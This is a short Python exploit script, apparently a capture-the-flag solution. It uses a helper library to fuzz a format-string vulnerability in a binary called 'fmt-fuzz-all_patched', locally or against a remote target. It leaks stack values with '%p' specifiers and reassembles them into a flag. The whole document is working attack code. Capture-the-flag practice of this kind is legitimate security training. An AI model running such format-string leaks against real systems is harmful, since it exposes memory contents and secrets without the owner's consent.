#!/usr/bin/env python3

from flashlib import *

if not args.REMOTE:
    """
    The fmt_fuzz_all works in both cases, if we
    have a local file, or not.
    """
    init("./fmt-fuzz-all_patched", aslr=False)

leaks = fmt_fuzz_all(
    start=8,
    max=4,
    show=False,
    specifiers=['p']
)

flag = b""
for leak in leaks:
    flag += leak['unhex']['p']

info(f"got flag: {flag.decode()}")